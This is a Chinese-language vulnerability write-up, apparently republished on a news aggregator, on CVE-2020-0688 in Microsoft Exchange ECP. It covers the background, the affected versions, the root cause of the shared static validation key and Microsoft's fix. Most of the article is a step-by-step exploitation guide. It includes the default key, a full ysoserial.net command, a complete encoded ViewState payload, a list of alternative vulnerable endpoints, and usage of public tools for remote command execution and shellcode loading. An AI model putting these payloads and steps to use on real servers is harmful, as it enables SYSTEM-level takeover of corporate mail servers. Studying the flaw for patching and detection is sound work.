服务粉丝

我们一直在努力
当前位置:首页 > 财经 >

Microsoft Exchange漏洞分析一:CVE-2020-0688

日期: 来源:黑白天实验室收集编辑:李木

背景

2020年2月11日,微软针对Microsoft Exchange Server中的一个严重漏洞发布了一个补丁。最初,Microsoft 将此标记为Microsoft Exchange中的内存损坏漏洞。不过,微软此后更改了该漏洞的标题和描述,更改为Microsoft Exchange验证密钥远程代码执行漏洞,描述为当服务器未能在安装时正确创建唯一密钥时,Microsoft Exchange Server中存在远程代码执行漏洞。微软将此漏洞评为重要,但指出利用的可能性更大。

影响版本

Microsoft Exchange Server 2010 Service Pack 3Microsoft Exchange Server 2013Microsoft Exchange Server 2016Microsoft Exchange Server 2019

漏洞复现
想要利用该漏洞,我们需要四个参数,分别为:
--validationkey = CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF --validationalg = SHA1--generator=B97B4E27--viewstateuserkey = ASP.NET_SessionId
在这四个变量中,前两个为默认固定值、Viewstateuserkey和Generator的值需要从经过身份验证的Session中收集、Viewstateuserkey通过从ASP.NET的_SessionID cookie中获取,而Generator可以在一个隐藏字段__VIEWSTATEGENERATOR中找到,同时利用这个漏洞需要我们有一个有效的账号密码。

1.获取viewstateuserkey和generator值

            在Exchange Web上正常登录后访问/ecp/default.aspx页面,通过浏览器使用F12开发者工具的Network选项,刷新页面重新发送请求,可以找到登录时/ecp/default.aspx的原始响应,然后在Cookie选项中即可找到ASP.NET_SessionId的Cookie,如图 所示;

图 ASP.NET_SessionId的Cookie

在Response选项卡搜索__VIEWSTATEGENERATOR获取字段值(如图 所示),如果未找到此字段可以直接使用默认值B97B4E27;

图 获取__VIEWSTATEGENERATOR字段值

2.使用ysoserial.net生成payload

ysoserial.net是一种概念验证工具,可以在常见 .NET 库中发现的实用程序和面向属性的编程“小工具链”的集合,用于在适当的条件下利用 .NET 应用程序执行不安全的对象反序列化。工具下载地址:https://github.com/pwntester/ysoserial.net/,我们可以使用来生成Payload(如图 所示),例如生成一个启动计算器的Payload命令:

 ysoserial.exe -p ViewState -g TextFormattingRunProperties -c  "echo OOOPS!!! > c:/Vuln_Server.txt" --validationalg="SHA1"  --validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A253 03BF" --generator="B97B4E27"  --viewstateuserkey=" -ASP.NET_ SessionId:"01ce5e49-550b-4077-bb66-2791f50dd592" --isdebug  --islegacy


图 使用ysoserial.net生成Payload

3.构造攻击地址

漏洞的触发点在/ecp/default.aspx?__VIEWSTATEGENERATOR=<generator>&__VIEWSTATE=<ViewState>中,所以我们在生成完Payload代码后,需要对该代码进行URL Encode编码,如图 所示;
图 对生成Payload进行URL Encode编码
然后进行构造一个攻击URL去触发漏洞,将最开始获得的__VIEWSTATEGENERATOR值替换<generator>,将URL Encode编码后的payload替换<ViewState>即可:
/ecp/default.aspx?__VIEWSTATEGENERATOR=B97B4E27&__VIEWSTATE=%252FwEysgcAAQAAAP%252F%252F%252F%252F8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAADUBTw%252FeG1sIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9InV0Zi0xNiI%252FPg0KPE9iamVjdERhdGFQcm92aWRlciBNZXRob2ROYW1lPSJTdGFydCIgSXNJbml0aWFsTG9hZEVuYWJsZWQ9IkZhbHNlIiB4bWxucz0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwvcHJlc2VudGF0aW9uIiB4bWxuczpzZD0iY2xyLW5hbWVzcGFjZTpTeXN0ZW0uRGlhZ25vc3RpY3M7YXNzZW1ibHk9U3lzdGVtIiB4bWxuczp4PSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmZ4LzIwMDYveGFtbCI%252BDQogIDxPYmplY3REYXRhUHJvdmlkZXIuT2JqZWN0SW5zdGFuY2U%252BDQogICAgPHNkOlByb2Nlc3M%252BDQogICAgICA8c2Q6UHJvY2Vzcy5TdGFydEluZm8%252BDQogICAgICAgIDxzZDpQcm9jZXNzU3RhcnRJbmZvIEFyZ3VtZW50cz0iL2MgZWNobyBPT09QUyEhISAmZ3Q7IGM6L1Z1bG5fU2VydmVyLnR4dCIgU3RhbmRhcmRFcnJvckVuY29kaW5nPSJ7eDpOdWxsfSIgU3RhbmRhcmRPdXRwdXRFbmNvZGluZz0ie3g6TnVsbH0iIFVzZXJOYW1lPSIiIFBhc3N3b3JkPSJ7eDpOdWxsfSIgRG9tYWluPSIiIExvYWRVc2VyUHJvZmlsZT0iRmFsc2UiIEZpbGVOYW1lPSJjbWQiIC8%252BDQogICAgICA8L3NkOlByb2Nlc3MuU3RhcnRJbmZvPg0KICAgIDwvc2Q6UHJvY2Vzcz4NCiAgPC9PYmplY3REYXRhUHJvdmlkZXIuT2JqZWN0SW5zdGFuY2U%252BDQo8L09iamVjdERhdGFQcm92aWRlcj4LiE43H6JGMMDUJPu%252BxcjSekD8h20%253D

4.访问URL触发漏洞

访问构造好的URL地址,服务器会返回500的错误,但漏洞利用其实成功了,如图 所示;
图 服务器会返回500的错误表示漏洞利用成功

其他可用路径:

/ecp/default.aspx?__VIEWSTATEGENERATOR=B97B4E27/ecp/PersonalSettings/HomePage.aspx?showhelp=false&__VIEWSTATEGENERATOR=1D01FD4E /ecp/PersonalSettings/HomePage.aspx?showhelp=false&__VIEWSTATEGENERATOR=1D01FD4E /ecp/Organize/AutomaticReplies.slab?showhelp=false&__VIEWSTATEGENERATOR=FD338EE0 /ecp/RulesEditor/InboxRules.slab?showhelp=false&__VIEWSTATEGENERATOR=FD338EE0 /ecp/Organize/DeliveryReports.slab?showhelp=false&__VIEWSTATEGENERATOR=FD338EE0 /ecp/MyGroups/PersonalGroups.aspx?showhelp=false&__VIEWSTATEGENERATOR=A767F62B /ecp/MyGroups/ViewDistributionGroup.aspx?pwmcid=1&id=38f4bec5-704f-4272-a654-95d53150e2ae&ReturnObjectType=1&__VIEWSTATEGENERATOR=321473B8 /ecp/Customize/Messaging.aspx?showhelp=false&__VIEWSTATEGENERATOR=9C5731F0 /ecp/Customize/General.aspx?showhelp=false&__VIEWSTATEGENERATOR=72B13321 /ecp/Customize/Calendar.aspx?showhelp=false&__VIEWSTATEGENERATOR=4AD51055 /ecp/Customize/SentItems.aspx?showhelp=false& __VIEWSTATEGENERATOR=4466B13F /ecp/PersonalSettings/Password.aspx?showhelp=false&__VIEWSTATEGENERATOR=59543DCA /ecp/SMS/TextMessaging.slab?showhelp=false&__VIEWSTATEGENERATOR=FD338EE0 /ecp/TroubleShooting/MobileDevices.slab?showhelp=false&__VIEWSTATEGENERATOR=FD338EE0 /ecp/Customize/Regional.aspx?showhelp=false&__VIEWSTATEGENERATOR=9097CD08 /ecp/MyGroups/SearchAllGroups.slab?pwmcid=3&ReturnObjectType=1__VIEWSTATEGENERATOR=FD338EE0 /ecp/Security/BlockOrAllow.aspx?showhelp=false&__VIEWSTATEGENERATOR=362253EF
发现文件成功创建,表示漏洞利用成功,如图 所示;
图 目标主机上文件创建成功

方法二:使用工具进行利用

1.ExchangeDetect和ExchangeCmd

ExchangeDetect和ExchangeCmd是@zcgonv开发用来检测和利用CVE-2020-0688漏洞的工具。ExchangeDetect用来检测目标是否存在漏洞(如图 所示),ExchangeCmd用来利用CVE-2020-0688漏洞,支持3个模块(如图 所示):arch模块可以用来查看对方机器的架构,用来生成shellcode来进行上线、exec模块用来执行命令,可以远程在目标机器上执行任意命令,例如执行whoami /all命令(如图 所示)、shellcode模块用来加载Bin格式的ShellCode文件。
图 ExchangeDetect检测目标存在漏洞
图 ExchangeCmd的3个模块
图 exec模块执行命令

2.Cve-2020-0688.py

Cve-2020-0688.py是@Ridter使用Pyrhon开发的利用脚本,支持以下参数:
usage: cve-2020-0688.py [-h] -s SERVER -u USER -p PASSWORD -c CMDoptional arguments:   -h, --help            show this help message and exit   -s SERVER, --server SERVER                         ECP Server URL Example: http://ip/owa   -u USER, --user USER  login account Example: domain\user   -p PASSWORD, --password PASSWORD                         Password   -c CMD, --cmd CMD     Command u want to execute
例如:
python cve-2020-0688.py -s 192.168.0.100 -u limu -p 1qaz@WSX123-c "whoami /all"

漏洞原理

漏洞产生的主要原因就是在Exchange ECP组件中发现,邮件服务在安装的过程中不会随机生成秘钥,也 就是说所有默认安装的Exchange服务器中的validationKey和decryptionKey的值都是相同的,攻击者可 以利用静态秘钥对服务器发起攻击,在服务器中以SYSTEM权限远程执行代码。
Microsoft Exchange Server不会针对每个安装随机生成密钥,而是在web.config中包含相同的 validationKey和decryptionKey值。这些密钥用于为ViewState提供安全性。ViewState是ASP.NET Web
应用程序在客户端上以序列化格式存储的服务器端数据。客户端通过__VIEWSTATE请求参数将这个数据
返回给服务器,配置文件存放在
 %ExchangeInstallPath%\ClientAccess\ecp\web.config ,
可以看到其中默认的
validationKey:CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF

结论

Microsoft 于 2020 年 2 月将此漏洞修补为CVE-2020-0688.,根据他们的文章,他们通过“更正 Microsoft Exchange 在安装过程中创建密钥的方式”来解决此漏洞。换句话说,他们现在在安装时将加密密钥随机化。Microsoft 将其严重程度评为重要,可能是因为攻击者必须首先进行身份验证。然而,应该注意的是,在企业内部,大多数任何用户都被允许向 Exchange 服务器进行身份验证。同样,任何破坏了任何企业用户的设备或凭据的外部攻击者都可以继续接管 Exchange 服务器。

相关阅读

  • 冰蝎Java WebShell免杀生成 -- ByPassBehinder4J​

  • 0x01 工具介绍冰蝎Java WebShell自动化免杀生成。0x02 安装与使用某天,接到一个任务,要求对某医院的信息系统做一次安全检测,看能否发现问题。1、使用者无需关心免杀实现,只需
  • 个人渗透技巧汇总笔记( 压箱底,建议收藏)

  • 前言首先我们拿到一个站不能心急,凡事三思而行 跑得太快是会滑倒的。网络安全方面可以看看我的另一篇防范技巧。当我们获得目标的时候不要急着用扫描器,这样会不仅会影响服务
  • 一个文件上传漏洞靶场

  • 前言这篇文章是关于一个上传漏洞靶场的挑战译文,原文链接如下:https://github.com/frank-leitner/tryhackme/tree/main/Upload_Vulnerabilities靶机说明:步骤Web应用程序是一组
  • 狂飙!Android 14第一个预览版已发布

  • / 今日科技快讯 /近日,雷军在小米投资者日上提到了关于小米汽车的最新进展以及目标。雷军表示自己1/2的时间精力都在小米其策划上,1/4的时间在小米手机、IoT以及高端化上
  • 实战|记录一次通过不断FUZZ从而获取万元赏金

  • 0x01 前言下午,一个老朋友发来一批资产让我找个有效漏洞,原因是厂商弄活动,提交有效漏洞可获取其奖品,那个奖品对朋友很有吸引力。0x02 漏洞背景一个后台系统,称其为https://mana

热门文章

  • “复活”半年后 京东拍拍二手杀入公益事业

  • 京东拍拍二手“复活”半年后,杀入公益事业,试图让企业捐的赠品、家庭闲置品变成实实在在的“爱心”。 把“闲置品”变爱心 6月12日,“益心一益·守护梦想每一步”2018年四

最新文章

  • Microsoft Exchange漏洞分析一:CVE-2020-0688

  • 背景2020年2月11日,微软针对Microsoft Exchange Server中的一个严重漏洞发布了一个补丁。最初,Microsoft 将此标记为Microsoft Exchange中的内存损坏漏洞。不过,微软此后更改了
  • 因为一件小事被公司开除了

  • 点蓝字关注,一起程序员弯道超车之路有一位创业者朋友,他是公司负责人,带领着一个十几人的小团队,目前正在开发一款 SaaS 产品。这位朋友自己也是码农,而且在大厂工作了好几年,所以
  • 10% GitHub + 7% GitLab 神级同步大裁员

  • 点蓝字关注,一起程序员弯道超车之路出品 | OSC开源社区(ID:oschina2013)对科技行业来说,2023 年应该是比较艰难的一年,目前已有多个大型科技公司都宣布了裁员,其中包括微软、亚马
  • 2 万 star 开源 core-js 作者快缺钱“拖垮”了...

  • 点蓝字关注,一起程序员弯道超车之路作者 | Denis Pushkarev译者 | 核子可乐策划 | 刘燕大家好,我是 @zloirock (Denis Pushkarev),一名全职开源开发者。其实我不爱写长文,这篇文章
  • 贵州省红十字会王开禄一行在赣州市考察调研

  • 2月24日,贵州省红十字会党组书记、常务副会长王开禄一行在我市章贡区、南康区调研应急救援、基金会建设、红十字会基层组织建设以及志愿服务等工作。省红十字会党组成员、专